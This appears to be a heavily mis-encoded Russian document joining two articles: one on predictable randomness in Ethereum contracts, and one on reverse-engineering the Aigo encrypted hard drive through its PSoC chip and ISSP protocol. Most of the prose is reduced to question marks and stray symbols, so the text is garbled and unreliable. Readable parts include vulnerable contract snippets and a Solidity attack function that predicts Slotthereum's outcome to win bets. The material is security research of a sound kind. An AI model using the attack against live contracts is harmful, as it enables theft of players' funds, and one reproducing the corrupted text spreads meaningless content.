? ??�???�???,�?????�?????�??�??�???�???�??�??
? ??�???�???,� ??????�?????� ???� ???�???�???� ???�?� ?� ??????�??� ?� ???�?
???�?????�?????�??�??�???�??
? ??�???�???,�??�?????�??�??�????�?��??�???�???�???�?????�(front?
running).
???�???�??�??�??�?????�??��??�???�?�??�?????�???.
??�???�??,�?????�?????�??????�??�??�?
??�??�??�?� ???� ???????�??� ???�?,� ???????� ?????� ????� ??� ????�?� ???????�
??????�??�??????�?�????�??:
? block.coinbase� ????�???�???� ?????� ?????� ???�???,� ???????� ???�??
???�??�????
? block.difficulty��???�?????�??�?????�???�???,�??�???�?�???�?
???�???�????
? block.gaslimit� ?� ???�?????�??� ???�??� �???粻 ??� ???� ????�?????
?�??�??
? block.number��?????�??�???�??�??
? Block.timestamp��???�??�??�?�??�?.
???�?� ???????�????�?� ???????�???� ?????� ??????�???�???� ???�???,
?????�?�?�???�?�?????�?????�??�???????�????�??.�????�???,�??�???�
??,�??�??�??????�??�??�???�?��??�????�???�?�??�?.��???�??�????
???�???�????�?� ??????�?� ???�????� ???�??� ????�?????� ????�???�?,� ????
?�??�?�?????�??��??�?�??�???�??�?????�??�???�??�??�????.
???�??�0x80ddae5251047d6ceb29765f38fed1c0013004b7):
//燱on爄f燽lock爊umber爄s爀ven
//�(note:爐his爄s燼爐errible爏ource爋f爎andomness,爌lease燿on?t爑se�
this爓ith爎eal爉oney)
bool爓on��(block.number�%��=�
???�??�0xa11e4ed59dc94e69612f3111942626ed513cb172):
//燙ompute爏ome�*almost爎andom*爒alue爁or爏electing爓inner爁rom�
current爐ransaction.�
var爎andom�爑int(sha3(block.timestamp))�%�
???�??�0xcC88937F325d1C6B97da0AFDbb4cA542EFA70870):
address爏eed1�燾ontestants[uint(block.coinbase)�%爐otalTickets].addr
;
address爏eed2�燾ontestants[uint(msg.sender)�%爐otalTickets].addr;
uint爏eed3�燽lock.difficulty;
bytes32爎andHash�爇eccak256(seed1,爏eed2,爏eed3);
uint爓inningNumber�爑int(randHash)�%爐otalTickets;
address爓inningAddress�燾ontestants[winningNumber].addr;
??�???�??,�?????�?????�??�??�?
?�??�???�??�?��???�??�?燛thereum�???�??�??�?????�????�???�?????.
???�?????�???�??�????�??�?????燛thereum�(EVM)�??�???�?�???????�??
???�?� ?� ???????� ???�???� block.blockhash().� ???�???� ???�???� ???�????
????�???,� ???????� ????�???�?� ?????� ???�?.� ??� ???�?� ?????�???�??� ??
????�???�?,� ???� ??????�??� ???�???� block.blockhash()� ???�?� ?????�??�??
??????�???�?�??�?????�??�??�??�??�??�????.
??�??�??�?� ???� ????????� ???�????� ????�???� ??????�????,� ???????�
??????�??�??�?:
? block.blockhash(block.number)��??�?????�?�??�??
? block.blockhash(block.number���??�??�????�?�??�??
? block.blockhash()� ?� ???� ???�?,� ???????� ???� ???????� ??� 256� ???�??
????�?.
???�???�??�??�??�?�??????�?????�???�???.
block.blockhash(block.number)
??�????�??�??�?????� block.number�??�???�?�?????�?????�??�???�???�
??.� ???�?� ???�??� ?????�???� ?� ????� ????�?????,� ???????� ?????�???� ???� ????�
????�?,�???????� block.number�?????�?�??�?�???�???�?????��??�???�?
???�????�??�??�????.�???�?��?????�????�????�???�?????�燛VM�??
???�???�??�?�??�?�??�???�?????�?�??�??�??�??�????,�燛VM�???�?
????�?�???.
??�???�??� ???�???�?� ???�??�?� ?????�??�???�?� ???�????� ??????�??
block.blockhash(block.number).� ?� ?????� ???�???�??� ???� ???�?� ???�???�?
?????�???� ??� ???�?� ?????�????� ????�?????� ?� ??????�???�?� ???� ????????
?????�??.
???�??�0xa65d59708838581520511d98fb8b5d1f76a96cad):
function燿eal(address爌layer,爑int8燾ardNumber)爄nternal爎eturns�(
uint8)爗
牋uint燽�燽lock.number;
牋uint爐imestamp�燽lock.timestamp;
牋return爑int8(uint256(keccak256(block.blockhash(b),爌layer,燾ardNu
mber,爐imestamp))�%�);
}
???�??�https://github.com/axiomzen/eth-random/issues/3):
function爎andom(uint64爑pper)爌ublic爎eturns�(uint64爎andomNumber)爗
牋_seed�爑int64(sha3(sha3(block.blockhash(block.number),燺seed),�
now));
牋return燺seed�%爑pper;
}
block.blockhash(block.number-1)
??�???�??� ???�???�?� ??????�???� ??????�???,� ????�??�??� ??� ????� ????�
?????�?� ???�?.� ?????�?,� ???� ?????� ???�??� ????� ???�??:� ???�???�?????
?????� ???�???� ???�????????�??�?� ?� ?????� ??� ???�???�?� ??????�???,� ???�?
???�???�??�?????�??�????�????�???�?????�???�????.牜???�??�??粻????�
??�??�?�??�???�??�??�????.
???�??�0xF767fCA8e65d03fE16D4e38810f5E5376c3372A8):
//Generate爎andom爊umber燽etween�爉ax
uint256燾onstant爌rivate燜ACTOR�牋115792089237316195423570985008687
9078532699846656405640394575840079131296399;
function爎and(uint爉ax)燾onstant爌rivate爎eturns�(uint256爎esult){
牋uint256爁actor�燜ACTOR�*�0�/爉ax;
牋uint256爈astBlockNumber�燽lock.number��
牋uint256爃ashVal�爑int256(block.blockhash(lastBlockNumber));
牋return爑int256((uint256(hashVal)�/爁actor))�%爉ax;
}
block.blockhash()��??�?????�?�??�?
??�??�????�??�??�??��?????�?????�??�?????�?�??�?,�??�????�???�
??????�???�??.
1.�?�??�???�?�???�?,�?????�?????�???燽lock.number�???�?????.
2.�??� ???�??� ??????� ???�???�?� ?????� ???�?????�?� ?� ??????� ????�?????
?????.
3.�?�???� ?????�???� ???�????�??� block.number,� ??????�?� ???� ???�?� ??� ???
??????��????�?????�???�??�??�?????�??�???�????�??�???�??�?.
??�??� ???�??� ??????�?,� ????�?� ????� ?????�???�?� ????� ???�??� ???�???�??.
?�??????�????燬olidity�???�??�??�????�??�?�???�????�??�??�?�????
???�??,�??????�????�??�???燛VM.
??�???�?????�?�??�??�???�???�?�???�??�????�?�??�???�??-�
???.� ???�?� ????????� ???�??� ?� ?????� ????�?� ???�?????� 256� ???�??,
?�??�?????�??�??�????�????�??�?�???.
??�??�?,�???�??�??�????�?�??�??�??��??�????�6�??�??��?�???
???�??�?� ??????� ???�?,� ????�????�??�??� ???�?� ?????� ?????�??� ???????� ?
???�
??�??� ???????�??� ???�??� ???�??�??�??� ????� ???�????�?� ?� ?????
???????燬martBillions.�??�????�????�?�??�????�??�???燽lock.number,��??
???�???� ?� ????,� ???� ?????� ????�??� 400� ETH:� ???�?� ???�????� 256� ???�??� ??
???�????� ????�??�?????� ????�?????� ?????,� ???????� ?????�??� ?� ???�??
????�?????.
??�???�???,�?????�?????�??�??�???�???�??�?��??�????
??????�??�??�???�?
???�?�??�?????�????�??,�????�?�????�????�??�??�???�??�?????�?????
??????�??�??�????,�??????�??�???�?�??�?????.�??�???��??????燬lot?
thereum.�??�??�???:
bytes32燺a�燽lock.blockhash(block.number�爌ointer)
for�(uint爄��;爄�=�爄??)爗
牋if�((uint8(_a[i])�=�)�&&�(uint8(_a[i])�=�))爗
牋牋牋return爑int8(_a[i])��;
牋}
}
??�????�??爌ointer�??�???�?�??�????,�?�???��??�??�??�???�??�??�???�
????� ?� ??� ???�????.� ???�?� ???�??� ????� ????�?????� ?????� ??� 1� ??� 9� ?????�
??????�?� ????� ???????�??� ?� ?????� ??????�????�?� ???� ???�??�??� ???�????
block.number�??�?????�??�???�??�?�?�?????.
??�?� ??� ????�??� ???�??????� ????�???� ?� ??� ????�???????,� ?????�?� ????�
??????�??�??�?�??�??�??�???�?��??��????�??�???.�??�????�?�?
???�??�????�??????�??�????�????�??�??�??�???�??,�???�??�???????
???????� ??� ????�??�?� ?????�????� ???�???�?� ???�???�?.� ?� ???�???,
?� ???????�??� ?� Ethereum� ???�???� web3� ????� API??????� web3.eth.getStor?
ageAt(),��??????�?????�?�??�?�??????�????�????�??�???�???�???�
????�?�??�???�?�?�???????�??????��??.
?� ?????� ???�??� ??� ???�????� ???�?� ????????� ???�????� ???�????� ????????�
???爌ointer�?�??�???�?��?????�?????�?��????�??�???�??�?��??�??�??:
function燼ttack(address燼,爑int8爊)爌ayable爗
牋Slotthereum爐arget�燬lotthereum(a);
牋pointer�爊;
牋uint8爓in�爂etNumber(getBlockHash(pointer));
牋target.placeBet.value(msg.value)(win,爓in);
}
??�???�???,�??�?????�??�??�????�?��??�???�???�
??????????�(front-running)
???�?� ?????�???� ???????�??� ???�???,� ???�???� ??????�???� ????�?????
???� ???�????� ??????� ???�?� ??� ????�?� ???????�???� ????,� ???????�???� ?� ????�
???� ????�?????.� ???????� ?????�????� ????�?????� ?� ???�?� ????�???�???
?????�???.�???�?????��????�??????�????�???�????�????�???�??�??.
?????� ????�??,� ??????�????� ?????,� ???�?� ??????�?� ????,� ???� ???�??� ?????�
??????�????�????�???�?�?????�??��??�?.�??�????�???�???�???�????
???�??????� ?� ???�??,� ???�?� ?????�????� ???�???�?� ???????� ??� ???� ???????
?�??�?.
???�???�??�????�??�??.��??????�???�???�??牜???�??粻???�??????�
???� ????�????�??�??� ?????,� ???????� ??????�???�?,� ???�?� ????�?????
??????�???�??�?�???�??,�???�???�???�?��??�??�???�?.�??�?�??????�
????� ?� ???????�????�??� ????.� ???�???�?????� ?????� ???�??????� ???
?????�???????�??� ????�?????� ?� ???�???�?� ???�?� ??� ???�???.� ???� ????�?
????�?????� ????�??�???�?� ????�???�?� ?� ????,� ???�???�?????� ??????�???
????�?��???�??�????�???.�??�???�?????�?????�???�??�?????��????�
??,� ??� ???� ?????�???�?� ?????� ????�????�?� ???�???� ???�???�?� ??????�??
????� ????,� ?� ?????� ????�??� ???�?????� ???�????�?� ??????�????.� ?????�??
???�???�???�??�?????�??�???�?� ??�??�????燴eroNights營CO燞acking燙on?
test.
????�??�???�??�??�??�???�?,�??�?????�???�??�????�?��??�????�
????� ????�?????,� ?� ????� Last� is� me!� ?????� ??????�?� ?????,� ??????�?� ????�
??????�??�?,��?????�???�???????�????�??�???.�???�??�?�?�?????�?
?????� ???�?� ???�????� ????�????�???� ???????�??� ???�??,� ???�????� ????�?
????�?????�??�?�???,�??�????�????�??�?????.�??�?�????�????�????�
????,� ???�???�?????� ???�??� ??� ?????� ?????�???????�??� ????�?????� ???�??
????�??�??��???�???�?,�?????�??�???�?????��???�??�????�???.
???�??????�????�?????????�???
??�??�??�?�??�???�?�??�????��??�????�????�??????�??�???��????�
???�?燛thereum:
? ????�??�??�???
? ??�?????燬ignidice?
? ???�??燙ommit�燫eveal.
????�??�??�???
Oraclize
Oraclize��??�??�??�????�??�???�??�??�??�???�??,�??????�??�??�???�
??????� ???�??� ???�?� ????�??�??� ?� ????�??� ???�??� (???????�??).
???�?????燨raclize�????�??�???�?�????�??�???????�??�??�?�???API
(???�????,�???�?????,�???�??�?????,�??�?????�????).�??�?�???,燨ra?
clize�????�?????�?????�?�??�???.�?????�??�?�????�????�??�??�????�
???�?????�?????燨raclize,�??�?�???????�??�??�??�??�?�?爎andom.org.
Oraclize��??�????
????�??� ?????�????� ???�?� ???�???� ?� ???,� ???� ???�??� ???�??�???�??�??.
?????�?�?�???�??�???,�??�????燨raclize�?�???�??�?????�???�??�?
??�???????爎andom.org��???�??�?????????�????�??�????�?�?�??燨ra?
clize�?????�???�??�??燭LSNotary,�?????�????�??�???�??�?�??�???�??�?
(?� ???�??� ?� ???????� ?� ???�?� ????,� ???� ???�???� ??????�???).� ???�?� ???????�
??????燨raclize�??�???????牜???�??�??粻???�??��??�???�???�?????�????�
???燣edger爌roofs,�??????�????�???�??�??????�?�???�?�???�??�?.
BTC燫elay
BTC燫elay��???�??�?�???�??�???燛thereum�燘itcoin.��??????燘TC燫e?
lay� ?????� ???�???�?� ????�??�?� Ethereum� ?????� ???�???????� ???� ??????�?
???�?� Bitcoin� ?� ??????�?????� ???� ???� ????????� ?????�??.� ???�??� ???�???,
???????�?????�???燘TC燫elay�??�???,�燭he燛thereum燣ottery.
BTC燫elay�?�??�????�??�??????�???�???�?????�??�??�???.�????
????�?� ????,� ???� ???� ??????�??????� ???????� ???�??� Ethereum,� ??� ????�?
?????� ?????� ???????� ????� ???�??�?.� ???� ???� ????� ???�??� ???�???,� ??� ??
?????�???�???�??????�????�????�??�?�??�???�??�????.
??�?????燬ignidice
Signidice� ?� ????�???,� ????�??�??� ??� ????�????�????�??� ???�????.� ?????
????�?????�????�??�???��????�??�???�??���??�?�??�???�?�(?????
?�?????).�???�???�?????�?�??�?????�???�??.
1.�?�??�???�?�???�?,�??????�????�??�???�?.
2.�?�???�????�???�?,�??�?????�?�?�??�????�??�??��?????�???�???�
????�??�???�?.
3.�??�????�?????�???�?�??�???��??????�????�???�??�?.
4.�??�?�??�?�??�???�?????�???�?�??�?????�??�??�??�???�??�?.
?� Ethereum� ????� ?????�????� ???�???� ecrecover()� ???� ???�??�?� ???�????
ECDSA� ?� ????�??�?.� ????�?� ????�???� ECDSA� ??� ?????� ????� ??????�????
?燬ignidice,�??�??�?????�????�???�???�???�??�??????�?�(?�??�???�?,
????????� k)� ?� ?????� ????�??� ???�??� ??� ???�????� ?????�??� ???�???.� ??�???�
?????�???�????�????�??�??�?�???�??�?????�??�???�?�???�???�???�
?????.
?�??????,��??????�??�???�?燤etropolis�?????�?�?�??�??�????�???�
???????��??�???�?�?????,�??�??�?????�?????�?????�??�??�?�??�???
RSA,� ???????,� ?� ????�??� ??� ECDSA,� ??� ???�???�?� ??????�???�???� ????�???
???�???,�??�?�????�???�??�???.
???�??燙ommit�燫eveal
???�??�?�?�??�????,�??�??�??�??�??�???�?�???�??�??.
? Commit:�??�???�?????�?�???�??�??��????�??�????��????�?????�
???�????
? Reveal:�??�???�?????�?�?????�??�??�????��????�??�???,�??�????
???�??????�?,� ???� ???�??� ???�?,� ??????�??� ???�????� ??????�???�?
???�?????�??�??�??�???�??�?.
???� ???�??�???� ???�???�??� ???�???� ???�???� ????�?� ????????�?� ??� ??� ????
??�??�??.�??�????�?�?�??�???�?�?�??�?�?????�??�??�????�??�????�
??,�??�????�????�???�??????�??�?��???�??,�????�?�???�?�?�????
???�???????.
Randao� ?� ?????� ???�??�??� ???�???�??� ???�???� Commit� ?� Reveal.� ????
??????�??� ????�????�??�??� ?????� ??????�?� ??????�??�??� ??????�??� ????�
?????� ???�???�??� ???�??,� ?� ???�??� ???�???� ??????�?� ???�?????�????
??� ????�??.� ???�???� ??� ???�?� ??????�???� ???�????� ????� ???�?,� ?????�?
??????�???�?� ???�???�???�?� ???�??�??� ??????�??.� ????�?� ?????� ?????
??�??�??�??�????�?????�??�??�????�??�????�燚oS.
Commit� ?� Reveal� ???�?� ???�??????� ?� ??????�?????�?� ????� ??????�?
???�?.��????�??�??�??�???�??�??????�?�????�??:
? sha3(seed1)�??�???�??
? sha3(seed2)�???�??
? ???�?????�?�??�?.
???�??�??�??�?�?????�???�?�????�???�??:爏ha3(seed1,爏eed2,燽lock?
hash).�??�??燙ommit�燫eveal�???�?�???�???�?????�??�??�???:�???�
???� ????�???�?,� ???�???????� ??� ???�??�??� ???� ?� ????�??�?,� ??� ??� ???�?
??????�??� ???�????� ???�???�?� ?� ????�?.� ???�??� ????�?� ???�?� ?� ????�???
??????�??�??�???�?:�??�????�??�?�???�?�?????�??�??�????�??�???�?,
??????�??� ???�????� ????�?� ?� ???� ??????�?� ???�?� ???� ????�??�??.� ???�?
????,�??�??�??????�?????�?��??�??�??,�???�??�????��??�??��???
????:� ??� ??????�?� ???� ???�?� ?� ???�?� ??????�??� ???�????� ???�???�?,� ??� ??
????�?.
??????????
???�????� ???????�??� ??????�????� ????�????�??�??� ?????� ?� ????�??�?
Ethereum�??????�???�??�?????�?????.�??�?????�?�????�???�??,�????
?????�????� ???????� ???????� ???�????�???� ????� ??????�???� ????� ???�???�
???�?� ?????�????.� ????�?� ???�?� ?????�???� ????�?� ???� ???�????�?,� ???
???� ???????�?� ?????�??� ?� ????�??�?� ????�???�?.� ???� ???�????� ????� ????�
?????�???� ???�???� ???�???�?,� ???� ??� ??????�?� ??????�??� ???�??� ???�???,
?�??�?�???�?????��?????�??�???.
?????
??????????
?????
HDD
????????��?????
???????????????
???????�?????????燗IGO
Rapha?l燫igo
?�99�???�?????????
??????????�??????????,
????????�??????????
???????????��??????
????????????
??�??�???� ?� ?????� ????�??� ???????�?????�?� ???????�
?????� ?� ???� ???�??� ???�?.� ?� ????�??� ???� ??????�???
?????????�?��?????�?????�?,�??燴alman燰E?400,燴alman
ZM?SHE500,� Zalman� ZM?VE500.� ???�??� ?????�?� ???�???
?????�??�??�???�????�??:燩atriot�(Aigo)燬K8671,�??????
???�??�?�?�????�???�????�?��??????�????��??�?????�
??�??�??�?�???????.
INFO
????�???�?????:燗igo燙hinese爀ncrypted燞DD.
???�???�?� ???�??????�???�?� ?� ????�???�???
?�????�???燙C?BY?SA�0.
???�????�??��?�??�????.
???�???�?�??�???�???��??�????�???�?.
???�??
???�??�?
???�??��??�????�??�?�??�?�??�??,�??????�??�?�????�?????,�????�
??�??�?�??�?�???????.�??�???�?�???�??�?????�??�?�??�?�????�?:
? ???�???�????�???????�???�?????�?????燜1�????�??�??�????�???
? ?�???????�??�??�???�?�??�?�?�?????�????
? ???�?�??�????�?�????�??�??????�???�??�???�?.
??????????�??????????
???�???� ???�???�???� ??????� ??� ???�?,� ???�?� ??????,� ??� ?????� ???�????�??
??� ???�???.� ?????� ???�??� ???????� ?� ?????�???� ???�??:� ???�?� ???�?????�
?????�??�??�????��???�???.�?????�??�??,�????�??�?????�(????�?�???�
?????�?�??�???�??�???�??????�??�???�???�?):
??�?????�??�?
??�?????�??�?�?????�?�???�?.
??�??�??�??�???�???�??�?�??�?�(????�?�???):
? ????�?�??�??????�???�?�(CN1)?
? ??�??�?�(SP1)?
? Pm25LD010�(???�???�????)燬PI?????�?�(U2)?
? ???�???�??燡micron燡MS539�(???�???�????)�??燯SB?SATA�(U1)?
? ????�?燯SB�J1).
SPI?????�?�??�??�??�??�?�??燡MS539��?????�??�??�???�?.
???�?�??????�???�?
??�??�?�?�??�?????�??�???�???�???.
?????�?�????:
? ???????�????� ????�??�??�?� ???�??????�??� (????�???,� ?� ?????�???
???????�???�??)?��??�?????�???�??�??????�????
? ???�?????�????�?????�??�??�?????�??�??�?.
???�?????�??�??�?
?�??�??�??�???�??�??!
???�????,�?�??�??�??�???,�?�????�??�?????�????�?????,��??�?燙y?
press� CY8C21434� ?� ???�????�???�??� PSoC� 1� (?????� ??� ???�??� ?????� ?????
???�???�?燩SoC).
CY8C21434�?????�???�????�??�???�??燤8C�(??.� ??�????�????).� ??� ?????�
????�??�??�?�??�???,�??�?�??�????�???�??�??????� CapSense�(???????
??燙ypress�??�????�???�??�?????).�????�????�??�???�??�???�???????�
???�???�???�?��??�???�??�???�??�??�??�??�??�????�???�???�????�
?????�???�????營SSP??????????.
????�??�?�??�???
???�????�?,�??��??�????�??�???.�??�??�?�??�????�?�???�?????�???�
????�???�????�??.
??�???�??��???�?�????�?�?????�??�??�??�?:
? PSoC�??�??��??�????�??�??�???�?????
? ???�?????� ????�?,� ???,� ???� ???�??,� ?� ISSP??????????,� ???????� ?????
?????�???�???�??�?�???,�??��??�?????�?��??????�??
? ??�??� ???�??� ????�?� ?� ???� ????�?� ???� ???�????�?� ?????�???�?� ?� ????�
??????�??�??�???
? ???�??� ???�??????�??� ?� ???�??� ????�??� CN1,� ????�????�??�???
???�????�????�???????�??�?��?????�??.燩11,燩13�燩4�??�????�???
?�??�??燩SoC�,����?�?????�?.
??????????????????�????�????
??�???� ???�?� ??� ???�?,� ??� ?????� ???�????�??� ???�???� ????� ??????�???,� ???
????�?????:
1.�??�???�?,� ???� ???????� ???�??�????�????� ???�??????� ???�???�???�?
???�???�??�?.
2.�?�???,�??�?????�???�?/???�???�???�??�?�??�??????.
3.�??�?,�??�???�?�??�???�???�??????.
???�??�?��??�????�??�?????�???:
? ????�???�??�??燬PI?????�??
? ??�????�?�????�???�??�??燩SoC?????�??
? ????�??????�?,� ???� ?????� ???�???� ???�?� Cypress� PSoC� ?� JMS539� ????�
?????�?�????�??�??????�??�????
? ???�??�?,�??�??�???�????�?????�燬PI?????�?�?????�?�?????�????�
?????
? ??�????�?�????�???�51????�??�?�?燡MS539.
???�???�???�??�??燬PI-????�?
???�??�???�?�????�???�?:
? ???�??�???� ???�?� ?� ???�??� ????�?:� CLK,� MOSI,� MISO� ?� (????�????�?)
EN?
? �???�???粻???�?????�??�???�????,�?????�??�??????�??�??�???�??
(?�???燬aleae燣ogic燩ro�)?
? ??�???�?????燬PI????�????��?????�???????�?????�???�燙SV?
? ???�???�?????�?� decode_spi.rb,� ???�?� ???�??????� ??????�???� ?� ????????
????.
??�???� ???�????,� ???� ?????� ???�??� ?� ???�??� ?� JMS539????�???�????
??????�?� ?� ???�??�????� ??????,� ???�???�?� ????� ???�???�??� ??� ???�?� ????�
?????�????�??�???�?��???�?�??�??�??�?.
$燿ecode_spi.rb燽oot_spi1.csv燿ump
0.039776�燱RITE燚ISABLE
0.039777�燡EDEC燫EAD營D
0.039784�營D�7f�9d�21
0.039788�燫EAD燖�0
0x12,0x42,0x00,0xd3,0x22,0x00,
[...]
$爈s�?size�?block?size=1燿ump
49152燿ump
$爏ha1sum燿ump
3d9db0dde7b4aadd2b7705a46b5d04e1a1f3b125燿ump
????�???�燬PI?????�?,��??�??��?????,�??�?�????�???�??�?????�
???�???�??�??�?�??�?????�???�??????�??燡Micron,�??????�????�????�?
?�51????�????�???�??.��?????�??,�??�??�??�?燬PI?????�?�??�?????
???�????�??:
? ???�???�????�???????�???�???�?�???�???�??�?�?????
? ???�?�??�?�??�????�????�?????�燬PI?????�?�?�???�???�?.
??�?????�?�??�?????�??
???�???�?� ???�?,� ?????� ???� ????�???� ??� ???�??�?� ???�?????�??� ???� ?????�
????�???� ???� ???�???/???�????.� ???� ??� ???� ???�?,� ???�???�??� USB?SATA
???�??�??��?燙ypress燩SoC,�????�???�?燙N1��??�??�?.�????�?�???�
???�???�??�?��???�???�???�??�???�??�??:
? P4,�????�???/??????
? P11,營2C燬CL?
? P13,營2C燬DA.
??�??� ?????�???� ???????�??� ???�???�??� Saleae� ?� ???�??� ??� ???�????�?
123456?.��?????�???�????�??�?????�???�????.
??�??�????�???????�??�?????�???�?�??�???:
? ??�?????燩4�??�???�?�????�??�?????�???
? ??燩11�燩13��??�?�??�????�??�????�??�???.
???�???�??�??�??�??????�?�?????燩4�(?????�??�??????�??�??�???�???
?????�?),�?????�?�??�?????:
?????�??�?,�??�?燩4�??�?��?�???�??????�?�??�???,�??????,�??�??
???�???�?????�???,�???�?�???�??�??�??�???.�???�?,�??�????�?????�??
???�?�?�?,�??�?�??�?????�???�????�?,��???�????,�??�??�?�??�???�
???�??,� ?� ????�??�??,� ???????� ???????�?� ??� ?????�?� ???� ???????� ???�??.
?????�?� ???� ??� ????� ????� ????�??� ???�???� ??� ?????�??� ???� ???� ?????�??
???????�??.�???�?�??�??�?�?????�?????��????�??�???�???�?��???�
??�????�?????,�??�?燩SoC�????�??�???�??????�??�???.
??� ???�?????� ????�??�??� ??????� P4� ???�???� ????�???�?� ??� ???�??:
???�???�??牜?????�???�???????�!
???�??�????� ?� ????�????� ???????� ???�??,� ???� ???�???�??� ????�????
???�????�?�???�??�???�(??.�??�?�????�??�??????�??)�?????�?:
?????� ??� ?????� ????�???????� ???�???� ??� P11.� ???� ???,� ??????,� ???� ?� ????
???�??�??�??.� ?� P13� ?� ???�??.� ????�?� ???�????,� ???� ???�??� ????�???�?
???�?� ????�????� ???�???�?� ???�???.� ????� ??� ????�??�?� ???�??????,� ???
?????�??�???�??.
???�???�?,� ??????�???� ?� ???�?� ???�???�?,� ?� ???� ????�?� SPI� ???� I2C,
?� ?� ???�????�??� ???�???�????� ??� Cypress� ???????�?,� ???� ???� ???�????� ?????�
????�??�?營2C.�??�????,�??�???�??�???��??�?????�??�??:
???�??燯SB?SATA�??�???�?�???�???�?燩SoC��??�?�??�?????�??�?????
???�???,�??????�?�???�????�??�?��????,�??�??????�??�???��??
????�???�?��???�?????�??�?????�?,�??�?�??�?�??????� ? ,�???�???�?,
????� ???�??� ?????�??� ???????.� ????�?� ??� ???�??� ??????� ?� ??� ???�????,
???� ???� ???�????�?� ??????�???.� ??� ?????�????,� ???� ????� ??� ???� ????� ????�
???????.� ???� ???� ???�?,� ???�???� ???�?� ?????� ????� ????�?????� ???�??�?
PSoC.
??�???�?�??�???�???��???�?????�???�?燩SoC
????,� ???� ???�???�?� ??� ??,� ???� ???????� ???�??�?� ??� ????????�??� PSoC.
?????�?�??�??�?�??�?????�??�???????�?.�????�???�??????�????:
? ?????�??�??�????牜????�??粻?�??�????�???�?????
? ???�?� ???�??� ???�?????,� ??????�?� ??� ???� �???�??粻 ??� ???�???�??
??????
? ???�?�??�??�???�?�?????.
??�??�??�?�??�??�?,�??�??�?�????�?????�??�???�???�??????:
? ????�?????�???????????
? SRAM,�??�??????�????�??�???�?�??�???�????�??��??�????????,
???????�??�??�?�???�?????�??.
??�????� ???�??,� ????�?,� ???� ???� ????????� ???�???� ?????� ????� ????�?????
????�?� PSoC,� ????�?� ??� ???�???� ??????� ???�???�???� ????�??�??� ???�?
�???�????�?� ?� ?????�??� ???????�?????粻 ?� ???�?� ?????�????� ??????�???�
???????�??� ???�?????�??� ISSP????�???�?.� ???� ???�?????� ???� ???�????
???�???�???�??�???�??�?�???????.
$�./psoc.py�
syncing:燢O燨K
[...]
PIN:�
???�????�???�??�???�??:
? Arduino????�??燞SSP?
? ????�??�?燩ython�營SSP??????�??�???.
ISSP-????????
???�????營SSP
�???�??粻 ?� ???�????�???�????� ?????� ????�???� ???�??� ????:� ??� endor
to� vendor� ??� ???�??�??�????� ?� ???�???�???� ???�?????�???�???� ???�???�?
(???�????,營CSP�??燤icrochip??????�?燩IC).
?� Cypress� ???� ???�?� ????�???�??� ????�?????�??� ???�????,� ??????�???
ISSP�(in?system爏erial爌rogramming爌rotocol��???�????�?????�??�????�???�
??????�???�???�???�????�???�??),�??????�??�????�??�??�� ???�????�??
???�???�????.� ??�???� US7185162� ???�?� ????� ??????�??� ???????�??.� ????
?爋pen爏ource�??�??,�?????�???燞SSP�(??�??�???�???�?�?�???�??�?).
ISSP�?????�?�??�?????�???�??:
? ??�????�?????燩SoC?
? ??�??�?�??????�??�??�?�?�??�?�??�?????�???�??�??�??�???燩SoC
(???�??�?��????�???�???�???�????�???�??)?
? ??�??�???�????�?,�??????�???�???�???�????�???�??�??????�????�
??,�?????�???�??�?????.
?�??????�????�?營SSP�??�??�???�???�???�?�???�??�?????�??�????�
???�?????:
? Initialize?1?
? Initialize?2?
? Initialize?3�(????�???���)?
? ID?SETUP?
? READ?ID?WORD?
? SET?BLOCK?NUM:�011111010dddddddd111,�??燿ddddddd=block�#?
? BULK燛RASE?
? PROGRAM?BLOCK?
? VERIFY?SETUP?
? READ?BYTE:� 10110aaaaaaZDDDDDDDDZ1,� ???� DDDDDDDD� =� data� out,
aaaaaa��????�(6�??)?
? WRITE?BYTE:� 10010aaaaaadddddddd111,� ???� dddddddd� =� data� in,� aaaaaa� =
?????�(6�??)?
? SECURE?
? CHECKSUM?SETUP?
? READ?CHECKSUM:� 10111111001ZDDDDDDDDZ110111111000ZDDDDDDDDZ1,
???燚DDDDDDDDDDDDDDD�燿ata爋ut:�??�????�??�??�?�????�??
? ERASE燘LOCK.
???�????,�??�??�??營nitialize?2:
1101111011100000000111�01111011000000000111
1001111100000111010111�01111100100000011111
1101111010100000000111�01111010000000011111
1001111101110000000111�01111100100110000111
1101111101001000000111�01111101000000001111
1101111000000000110111�01111100000000000111
1101111111100010010111
?�???�??�????�??�???�??�??�?���???.��??????�????�?燞SSP�???
??????�??� ?????�?????�??� ???�????� ??� ISSP:� 獻SSP????�??� ?� ???� ??� ???
????,� ???� ???????� ???�?????�???�????,� ????�???�?????� ?????� ?????� ????�
????�??�.
??????????? ??????
?
? �?????�?????
?????
?????????? ?????
HDD
????????��?????�??????????????
???????�?????????燗IGO
??�??�?????�??�??�????
???�????�?,� ???� ?????� ???�???�??.� ???�???????�?� ?� ????�??????,� ???� ???
?????� ???�???� ????�???�???� ?????� raw?????�???� M8C????�???�??,� ????�?,
???�????�??�?????�?,��???�????,�??�???�?�??�????�?�??�???�?.
??�??��????�??�??�????�??�???�??�??��??�???�?�?� ???�??�?????�
????�??,�??�????,�???��?�??�???�???��?????,�???�??�???�?�???�??
???�??�??:牜???�??�??�???�??�?????�???��???�??,�??????�???�???�??�?
?????� ??� ???????� ???�????� (???�?????� ??� RAM,� ????????� ?� RAM,� ???�?????
???????,� ????????� ???????).� ?????� ????� ??????� ???� ????�?,� ???�?� ????
??????�??�??�??�(???�??�??�??�??�?????)�,�??????,�??�????????�.
??�??� ???� ???�???� ?????�????� ?????� ?????�??� ???????�??� ??� ???�???
玈upervisory� ROM� (SROM)粻 ???�????�???� ????????�??.� SROM� ?� ???� ???�??
??????�????�??燫OM�燩SoC,�??????�??�??�????�?�??�?????�??�???�(??
????� ??� ????�???,� ???� ?� Syscall),� ?� ???� ????�??�??�?� ????,� ???????�???
?�???�???????�???�???�????�??:
? 00h�燬WBootReset
? 01h�燫eadBlock
? 02h�燱riteBlock
? 03h�燛raseBlock
? 06h�燭ableRead
? 07h�燙heckSum
? 08h�燙alibrate0
? 09h�燙alibrate1
????�????�??�?�??�????��??�??�??燬ROM,�?�????�????�?????�???�
?????,� ???�????�?????� ????� ???�???�??,� ?� ???�????�?� SROM?????????�
????.�??�???�?�??�?�????�?????�?????�??�??�??�???營SSP????�????:
? 100�>爓rmem
? 101�>爎dmem
? 110�>爓rreg
? 111�>爎dreg
??�???�??�??�?????�??�???�?????�??�??�??�??�??�?�???????�???�?
???�????�???�???�??�???�??�燩SoC.
??�????�燩SoC
